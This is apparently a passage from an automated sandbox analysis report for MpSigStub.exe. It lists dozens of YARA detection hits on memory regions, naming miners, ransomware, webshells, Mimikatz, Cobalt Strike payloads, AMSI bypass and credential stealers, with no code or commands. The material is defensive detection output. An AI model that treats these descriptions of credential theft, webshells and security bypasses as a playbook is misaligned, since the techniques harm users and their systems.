memory (False Positives: an service that could have copied a Mimikatz executable, AV 
signatures), Source: 
00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmp, 
Author: Florian Roth

File CreatedFile Created

File DeletedFile Deleted

File WrittenFile Written

File ReadFile Read

Analysis Process: MpSigStub.exe PID: 3992 Parent PID: 3480Analysis Process: MpSigStub.exe PID: 3992 Parent PID: 3480

General
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Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18320598062.0000015B1B598000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Conti_ransomware, Description: Yara detected Conti ransomware, 
Source: 
00000023.00000003.18320598062.0000015B1B598000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Oilrig_IntelSecurityManager_macro, Description: Detects OilRig malware, Source: 
00000023.00000003.18299696915.0000015B1AF24000.00000004.00000001.sdmp, 
Author: Eyal Sela (slightly modified by Florian Roth)
Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 
00000023.00000003.18299696915.0000015B1AF24000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: APT_Backdoor_Win_GoRat_Memory, Description: Identifies GoRat malware in 
memory based on strings., Source: 
00000023.00000003.18293662919.0000015B1BCD0000.00000004.00000001.sdmp, 
Author: FireEye
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18283887577.0000015B1A84E000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_by_string_obfuscation, Description: PHP file containing obfuscation 
strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be 
used to insert malicious Javascript for credit card skimming, Source: 
00000023.00000003.18336077687.0000015B1BE5C000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18336077687.0000015B1BE5C000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: SUSP_XORed_Mozilla, Description: Detects suspicious XORed keyword - 
Mozilla/5.0, Source: 
00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Voidcrypt, Description: Yara detected Voidcrypt Ransomware, Source: 
00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, 
Source: 
00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18339192227.0000015B1C094000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18324883471.0000015B1B176000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18324883471.0000015B1B176000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Trojan_Win32_PlaKeylog_B, Description: Keylogger component, Source: 
00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp, 
Author: Microsoft
Rule: DeepPanda_htran_exe, Description: Hack Deep Panda - htran-exe, Source: 
00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Mimikatz_Memory_Rule_1, Description: Detects password dumper mimikatz in 
memory (False Positives: an service that could have copied a Mimikatz executable, AV 
signatures), Source: 
00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected 
Allatori_JAR_Obfuscator, Source: 
00000023.00000003.18334520035.0000015B1A6C6000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
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00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Ammyy_Admin_AA_v3, Description: Remote Admin Tool used by APT group 
Anunak (ru) - file AA_v3.4.exe and AA_v3.5.exe, Source: 
00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_UACMe, Description: Yara detected UACMe UAC Bypass tool, Source: 
00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.18285899877.0000015B1B2C2000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
00000023.00000003.18285899877.0000015B1B2C2000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18285899877.0000015B1B2C2000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CredTheft_MSIL_ADPassHunt_2, Description: unknown, Source: 
00000023.00000003.18339366931.0000015B1C174000.00000004.00000001.sdmp, 
Author: FireEye
Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura 
Assembly Loader, Source: 
00000023.00000003.18339366931.0000015B1C174000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18297885321.0000015B1B490000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18297885321.0000015B1B490000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18323536692.0000015B1B176000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18323536692.0000015B1B176000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18299514362.0000015B1AF02000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18299514362.0000015B1AF02000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: SUSP_PowerShell_Caret_Obfuscation_2, Description: Detects powershell keyword 
obfuscated with carets, Source: 
00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: MAL_unspecified_Jan18_1, Description: Detects unspecified malware sample, 
Source: 
00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Vidar, Description: Yara detected Vidar stealer, Source: 
00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_ByteLocker, Description: Yara detected ByteLocker Ransomware, 
Source: 
00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Cryptolocker, Description: Yara detected Cryptolocker ransomware, 
Source: 
00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Artemon, Description: Yara detected Artemon Ransomware, Source: 
00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp, 
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Author: Joe Security
Rule: JoeSecurity_lazparking, Description: Yara detected LazParking Ransomware, 
Source: 
00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: WScript_Shell_PowerShell_Combo, Description: Detects malware from Middle 
Eastern campaign reported by Talos, Source: 
00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: HackTool_Samples, Description: Hacktool, Source: 
00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmp, 
Author: unknown
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Cryptolocker, Description: Yara detected Cryptolocker ransomware, 
Source: 
00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 
00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: MirageStrings, Description: Mirage Identifying Strings, Source: 
00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmp, 
Author: Seth Hardy
Rule: webshell_php_base64_encoded_payloads, Description: php webshell containing 
base64 encoded payload, Source: 
00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_php_dynamic_big, Description: PHP webshell using $a($code) for kind of 
eval with encoded blob to decode, e.g. b374k, Source: 
00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_php_by_string_known_webshell, Description: Known PHP Webshells 
which contain unique strings, lousy rule for low hanging fruits. Most are catched by other 
rules in here but maybe these catch different versions., Source: 
00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: JoeSecurity_hidden_tear, Description: Yara detected HiddenTear ransomware, 
Source: 
00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: WScriptShell_Case_Anomaly, Description: Detects obfuscated wscript.shell 
commands, Source: 
00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Voidcrypt, Description: Yara detected Voidcrypt Ransomware, Source: 
00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Pupy_Backdoor, Description: Detects Pupy backdoor, Source: 
00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18304386604.0000015B1A404000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: APT_MAL_Sandworm_Exaramel_Configuration_Key, Description: Detects the 
encryption key for the configuration file used by Exaramel malware as seen in sample 
e1ff72[..., Source: 
00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmp, 
Author: FR/ANSSI/SDO
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmp, 
Author: Florian Roth
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Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18346670516.0000015B1AC31000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_by_string_known_webshell, Description: Known PHP Webshells 
which contain unique strings, lousy rule for low hanging fruits. Most are catched by other 
rules in here but maybe these catch different versions., Source: 
00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: Oilrig_IntelSecurityManager, Description: Detects OilRig malware, Source: 
00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp, 
Author: Eyal Sela
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Winexe_tool, Description: Yara detected Winexe tool, Source: 
00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.18411185064.0000015B1B2C1000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
00000023.00000003.18411185064.0000015B1B2C1000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18411185064.0000015B1B2C1000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18330301023.0000015B1B598000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Conti_ransomware, Description: Yara detected Conti ransomware, 
Source: 
00000023.00000003.18330301023.0000015B1B598000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_dynamic_big, Description: PHP webshell using $a($code) for kind of 
eval with encoded blob to decode, e.g. b374k, Source: 
00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18352105294.0000015B1AC31000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 
00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18312369918.0000015B1C094000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: PowerShell_Susp_Parameter_Combo, Description: Detects PowerShell invocation 
with suspicious parameters, Source: 
00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
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Source: 
00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Cryptolocker, Description: Yara detected Cryptolocker ransomware, 
Source: 
00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Clop, Description: Yara detected Clop Ransomware, Source: 
00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Cute, Description: Yara detected Cute Ransomware, Source: 
00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected 
Allatori_JAR_Obfuscator, Source: 
00000023.00000003.18300906087.0000015B1A6C6000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: xtremrat, Description: Xtrem RAT v3.5, Source: 
00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmp, 
Author: Jean-Philippe Teissier / @Jipe_
Rule: REDLEAVES_DroppedFile_ImplantLoader_Starburn, Description: Detect the DLL 
responsible for loading and deobfuscating the DAT file containing shellcode and core 
REDLEAVES RAT, Source: 
00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmp, 
Author: USG
Rule: IMPLANT_5_v3, Description: XTunnel Implant by APT28, Source: 
00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmp, 
Author: US CERT
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_cerber, Description: Yara detected Cerber ransomware, Source: 
00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Cryptolocker, Description: Yara detected Cryptolocker ransomware, 
Source: 
00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_NoCry, Description: Yara detected NoCry Ransomware, Source: 
00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: malware_red_leaves_memory, Description: Red Leaves C&C left in memory, use 
with Volatility / Rekall, Source: 
00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmp, 
Author: David Cannings
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Cobaltbaltstrike_Payload_Encoded, Description: Detects CobaltStrike payloads, 
Source: 
00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmp, 
Author: Avast Threat Intel Team
Rule: webshell_php_obfuscated_encoding, Description: PHP webshell obfuscated by 
encoding, Source: 
00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_php_dynamic_big, Description: PHP webshell using $a($code) for kind of 
eval with encoded blob to decode, e.g. b374k, Source: 
00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_php_by_string_obfuscation, Description: PHP file containing obfuscation 
strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be 
used to insert malicious Javascript for credit card skimming, Source: 
00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_asp_generic_eval_on_input, Description: Generic ASP webshell which 
uses any eval/exec function directly on user input, Source: 
00000023.00000003.18349004213.0000015B1A9DB000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18281872533.0000015B1C527000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18281872533.0000015B1C527000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18281872533.0000015B1C527000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Certutil_Decode_OR_Download, Description: Certutil Decode, Source: 
00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: webshell_asp_generic_eval_on_input, Description: Generic ASP webshell which 
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uses any eval/exec function directly on user input, Source: 
00000023.00000003.18337818328.0000015B1BB10000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18337818328.0000015B1BB10000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: HackTool_Samples, Description: Hacktool, Source: 
00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmp, 
Author: unknown
Rule: PS_AMSI_Bypass, Description: Detects PowerShell AMSI Bypass, Source: 
00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: WScriptShell_Case_Anomaly, Description: Detects obfuscated wscript.shell 
commands, Source: 
00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: vanquish_2, Description: Webshells Auto-generated - file vanquish.exe, Source: 
00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmp, 
Author: Yara Bulk Rule Generator by Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18299055991.0000015B1A914000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 
00000023.00000003.18299055991.0000015B1A914000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18299055991.0000015B1A914000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Pupy_Backdoor, Description: Detects Pupy backdoor, Source: 
00000023.00000003.18305343223.0000015B1C4E5000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18305343223.0000015B1C4E5000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura 
Assembly Loader, Source: 
00000023.00000003.18305343223.0000015B1C4E5000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_asp_generic_eval_on_input, Description: Generic ASP webshell which 
uses any eval/exec function directly on user input, Source: 
00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: JoeSecurity_Cryptolocker, Description: Yara detected Cryptolocker ransomware, 
Source: 
00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18347582446.0000015B1B490000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18347582446.0000015B1B490000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18342870635.0000015B1AB89000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: APT_MAL_Sandworm_Exaramel_Configuration_Key, Description: Detects the 
encryption key for the configuration file used by Exaramel malware as seen in sample 
e1ff72[..., Source: 
00000023.00000003.18341085023.0000015B1C4A2000.00000004.00000001.sdmp, 
Author: FR/ANSSI/SDO
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.18341085023.0000015B1C4A2000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18341085023.0000015B1C4A2000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
00000023.00000003.18341085023.0000015B1C4A2000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18341085023.0000015B1C4A2000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18341085023.0000015B1C4A2000.00000004.00000001.sdmp, 
Author: Joe Security
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Rule: webshell_php_by_string_obfuscation, Description: PHP file containing obfuscation 
strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be 
used to insert malicious Javascript for credit card skimming, Source: 
00000023.00000003.18327508493.0000015B1B6A0000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_asp_generic, Description: Generic ASP webshell which uses any 
eval/exec function indirectly on user input or writes a file, Source: 
00000023.00000003.18327508493.0000015B1B6A0000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18283369164.0000015B1BBD8000.00000004.00000001.sdmp, 
Author: Joe Security
